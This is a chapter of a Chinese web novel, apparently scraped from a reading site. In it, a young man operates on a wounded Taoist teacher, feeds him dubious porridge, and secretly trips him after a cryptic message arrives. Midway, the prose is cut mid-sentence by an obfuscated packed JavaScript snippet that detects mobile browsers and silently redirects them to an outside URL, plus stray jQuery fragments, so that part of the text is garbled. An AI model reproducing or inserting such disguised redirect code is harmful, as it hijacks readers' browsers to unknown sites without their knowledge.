默认冷灰
24号文字
方正启体

57.黄金屋,望炊烟

作者:moneymoney轰本书字数:K更新时间:
    天门沪上坐在树下描眉,边化边骂,“什么手艺,居然给我化那么难看的妆!”


    方才脱了戏袍,天门沪上醒悟,感觉脸上紧绷得厉害,掏出镜子一看,脸上的妆容是无法用语言描绘的丑,宋佶找来水,让她洗脸。


    宋佶举着铜镜,花痴模样,“你不论怎样都是美的。”


    “那是当然。”天门沪上抹着唇脂,不看宋佶的眼睛,手上的动作越来越慢,“我在路上耽搁了一会儿,信使没有追到。”


    来的路上,宋佶已经做好截不到信使的打算,“无妨,就算是被罚,也要等上十天半个月。”


    “怎么能让你一个人受罚。”天门沪上合上唇脂盒,起身走到鹿元吉身后,一脚踹在他的后腰上,不待鹿元吉反应,抓起宋佶就跑。


    摔得狗啃泥的鹿元吉抬起满是泥灰的脸,咬牙切齿,“我刚洗的澡!”


    洗去脸上的油彩,喜看向龙女,龙女把喜要说的话堵在喉咙里,“我不会去的。”


    “都说了她不去,你非得问。”乐着急赶路,拉着喜远去。


    颜悦蹲在鹿元吉身边,“小鹿公子,你们何时出发?我同你们一起。”


    鹿元吉站起,扭头呸去嘴里的泥土,“姐姐稍等,我收拾收拾东西,即刻就走。”


    鹿元吉让四乌把抢来的东西收在牛车上,无比温柔地同呆站在树下的雪王说话,“雪团子,跟我走。”


    “我不走。”雪王眼神坚定,“舅舅找到书亦草会回来找我,我不能离开这里。”


    “他不会回来了。”鹿元吉在心里小声说。


    乌四郎抱着鹅:“爹说了,你舅舅往广陵的方向去了,我们沿着同一个方向走,会遇到你舅舅。”


    雪王固执:“我不走,要走你们自己走。”


    乌四郎望着鹿元吉。


    “我也要在这里等领主。”雪银舞同雪王一样的想法,坚信雪千秋会回来。


    鹿元吉翻上牛车:“如此,那你们就留在这里。”


    四乌依依不舍的围着雪王,把身上所有的好吃的、好玩的都掏出来,“我们在广陵等你。”


    牛车在泥地上留下车辙印,“咚”的一声,四乌停下来,检查掉落的东西,百步外的花花突然大叫,“夫子!”众人扭头,百道夫子趴在地上,隔得老远也能瞧见他烧红的脸。颜悦跑到夫子身边,拉开夫子被血浸透的衣衫,露出溃烂发脓的后背。


    花花从未见过夫子受这么重的伤,瘫坐在地,哇哇大哭,“完了,完了,夫子要死了,我以后再也吃不到苹果了。”


    “再耽误几天,就可以下葬了。”高大的身影笼罩着花花,鹿元吉睨着地上的人,“抬进去。”


    乌大郎抱起夫子往厝坊走,花花挺着圆滚滚的肚子拦住他,“你想做什么?”


    “日头正盛,晒上几个时辰,可以晒成肉干,留在这里也无妨。”鹿元吉绕开花花走进厝坊。


    乌大郎跟着进去,他把夫子放在戏台上,听令剥开他的衣袍,露出完整的背部,背部暗红色一片,鹿元吉食指摁在夫子背后的雪霜上,指下之人拳头紧握,骨节泛白,发出一声闷哼,“还活着。”


    鹿元吉取下手上的戒指,束起垂下的长发,“备刀,烧水,捣药。”


    四乌忙得不可开交,颜悦把有戏里残余的水倒进锅里,加柴煮沸。火星焠红刀子,雪王跟在乌三郎身边,“夫子还能活吗?”


    “能。”乌三郎转动刀柄,“爹以前常救人,他不会有事。”


    热水烧好,鹿元吉让雪银舞生出寒霜,放凉热水,撕下衣角,充当手帕,蘸取热水,擦去夫子背上干裂发黑的血迹,接过散着热气的弯刀,一点点剜去腐肉。夫子疼得清醒,身体颤抖,十指紧握,鹿元吉一个眼神,乌二郎用力摁住夫子颤抖的肩膀……终于剜去腐肉,夫子双手展开,十指颤抖,嘴唇煞白。


    “千秋哥哥真厉害,这日头,雪霜居然不化。”雪霜和肉长在一起,鹿元吉先沿着雪霜刮去腐肉,鲜红的血流满整个背部,他让雪银舞擦去淌下的鲜血,“现在,我要给你取下雪霜,疼,就忍着。”


    百道夫子疼的麻木,动作细微,鹿元吉看不出他是否点了头,等着乌三郎递上焠红的刀。


    雪霜与肉相连,若是一起摘除,等同再次撕开血肉,鹿元吉握紧刀柄,敲碎雪霜,一小块一小块割开雪霜……鲜血浸透衣衫,百道夫子晕厥数次,再次醒来时,身体麻木,背上好像敷着草药,血腥味和草药味混在一起,夫子勉强支撑双眼,鹿元吉正在剥他手上发黑的纱布,端着他的十指欣赏,“道长哥哥的手用的什么药,居然一点伤疤也没有。”


    夫子手上的伤是半个月前凿冰留下的,当时可是露出白骨,仅仅抹了点药,还不加休息,就生得这样好。


    都这时候了,他还有心情说这种胡话,百道夫子哭笑不得,全身无力,只能由着他摆弄,声音微弱,“我师弟做的药,你想要,等见了他,你问他买。只不过,我师弟守财,没点金子,他不会卖给你。”


    “钱就不用道长哥哥替我担心了。”鹿元吉把夫子的手指叠放在一起,“道长哥哥好生休息。”


    “小苍蝇。”夫子喊住鹿元吉。


    鹿元吉停住脚,“哥哥还有事?”


    夫子:“千秋真去了广陵?”


    “哥哥若是不信,可以爬起来,去寻千秋哥哥。”鹿元吉坐在门口的躺椅上,用刀剔去指缝间干掉的血迹,再带上银戒。


    百道夫子:“……”


    厝坊的锅炉还算干净,四乌在外忙碌几个时辰挖来野菜,打来野味,就着厝坊里剩下的厨具,做了一桌菜,没有米饭,只有野薯。乌四郎端着饭菜走到树下,坐在雪王身边,“吃饭。”


    雪王靠着树,望着村口,“你说舅舅找到草药了吗?”


    “我不知道。”乌四郎把碗放在地上,抓起野薯剥皮,露出橘红色的果肉,“给你。”


    “你怎么吃饭也戴着帽子。”雪王猝不及防地钻进乌四郎的面纱里,又立即缩出来,尴尬地接过野薯。雪王幻想过四乌的容貌,但没想到他们没有眼睛。


    “吃肉。”乌四郎局促地端起碗,握着筷子的手颤抖。


    野薯干涩,难以下咽,雪王两腮鼓起,目光真挚,“我可以做你们的眼睛。”


    乌四郎怔住,怀疑自己的耳朵,雪王以为他没听见,咽下野薯,再次重复,“我说,我可以做你们的眼睛。”


    乌四郎放下碗筷,冲进厝坊,把刚刚雪王说的话讲过三乌。四乌激动不已,端走桌上的菜肴奔到树下。菜肴全无,鹿元吉勉为其难地咽下野薯。


    男大不当留。


    病人卧榻,鹿元吉善心大发,剩下半块野薯就着朝露趁着余温熬了一碗豆粥,亲自喂给百道夫子。


    花香味扑鼻,百道夫子这才注意到鹿元吉身上的衣衫,“你的衣服哪里来的?”


    上次见面,鹿元吉还是乞丐服,附近没有集市,他去哪里买的衣服?


    “姐姐给的。”鹿元吉毫不掩饰。


    什么时候这两个人关系这么好了,百道夫子咽下参片,“这里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060526|162228||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面的红枣、参片,绿豆也是她给的?”


    鹿元吉一勺接着一勺给夫子喂粥,“我平日喜欢泡脚,出门时带了一些药包,红枣,参片,是我从药包里取出来的,至于这绿豆,是从枕头里倒出来的,这里荒郊野外,没有上好的食材,道长哥哥有伤在身,得好好疗养才行。”


    闻言,胃里突然一阵翻滚,百道夫子止不住干呕,鹿元吉嘴角弯得可以荡秋千,放下粥,故作关心,“道长哥哥伤势严重,连粥也喝不下,道长哥哥可要好好休息。”


    百道夫子:“……”


    师弟,你在哪里。


    夜色袭来,四乌割来茅草,铺在地上,搭上坊内的破布,做成简易的床,供雪王休憩。鹿元吉坐在戏台边上泡脚,瞧见漂浮在水面的枣片,百道夫子继续干呕。


    他就是故意的。


    昼夜替换,百道夫子不敢再吃鹿元吉递的食物,只能吃些野菜,等到第三日,终于能起身走动,背上的伤隐隐作疼,没有食材疗养,夫子的脸色依旧苍白。雪王等了三日,依旧没有雪千秋的消息。


    再耽搁,就不能在赛事前赶往广陵,颜悦多次看向鹿元吉,却不开口。鹿家人过得惬意,树下乘凉,闲时煮茶,不为万事愁。


    放羊的牧童在村口张望,雪王招呼他过来,牧童防备地问询这里是否有一位叫“百道夫子”的人。鹿元吉慢饮茶水,眼角余光留意牧童。


    雪银舞热心,引着牧童进厝坊,牧童瞧着屋内的人一身道袍,掏出怀里的布包,取出里面的音弦,“有人让我把这个交给你。”


    “冰冰开窍了,终于舍得给我解开了。”百道夫子欣喜的接过音弦。


    牧童:“要想知道其他消息,要给钱。”


    冰冰还有话要对我说?百道夫子摸完全身,也没有摸出一枚铜钱。


    “给你。”雪银舞拿出碎银递给牧童,“两位姐姐还说了什么?”


    牧童:“黄金屋,望炊烟。”


    雪银舞不解:“黄金做的房子了,怎么舍得起炉生火。”


    牧童只是来传话的,收了钱就走,不肯多说一个字。


    小小的一根音弦居然能在十里之外控制人,百道夫子拉扯音弦,身上奇迹的没有收紧。奇怪,难道只要冰冰拆了音弦,身上的音弦就解开了?


    百道夫子再次拉扯音弦,音弦骤然收紧,变得笔直。雪银舞食指拨弄音弦,奏出乐声,音弦一端延长,直奔屋外。百道夫子身体却没有任何反应。雪银舞跑出屋,望着不见尾的音弦,“夫子,音弦跑得好远。”


    音弦不是我身上的。百道夫子顿悟,出门循着音弦走。树下的鹿元吉缓慢挥笔,他数着夫子的脚步默念“一,二,三,倒。”


    地上无故多出一只墨手,绊倒夫子,不省人事。


    雪银舞惊呼:“夫子!”


    颜悦闻声赶来,弓起食指放在夫子鼻下,确定他还活着,“夫子本来就有伤,这几天没吃好,可能是晕过去了,我们把他扶进去。”


    雪银舞和颜悦扶着夫子进屋,把人放在戏台上,回到厨房找出所有的食物做饭,等着夫子醒来。


    鹿元吉打着换药的名义关心夫子,拆开他的手,却没找到音弦,延长的音弦,也一起消失了。


    “为什么要这样做?”龙女不知何时出现。


    鹿元吉捏碎药膏,“你留在这里就是为了质问我?”


    龙女:“你可以容忍我的存在,为什么不能容忍他的存在?”


    黑夜突降,龙女看不见鹿元吉的存在,听不见任何回答。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)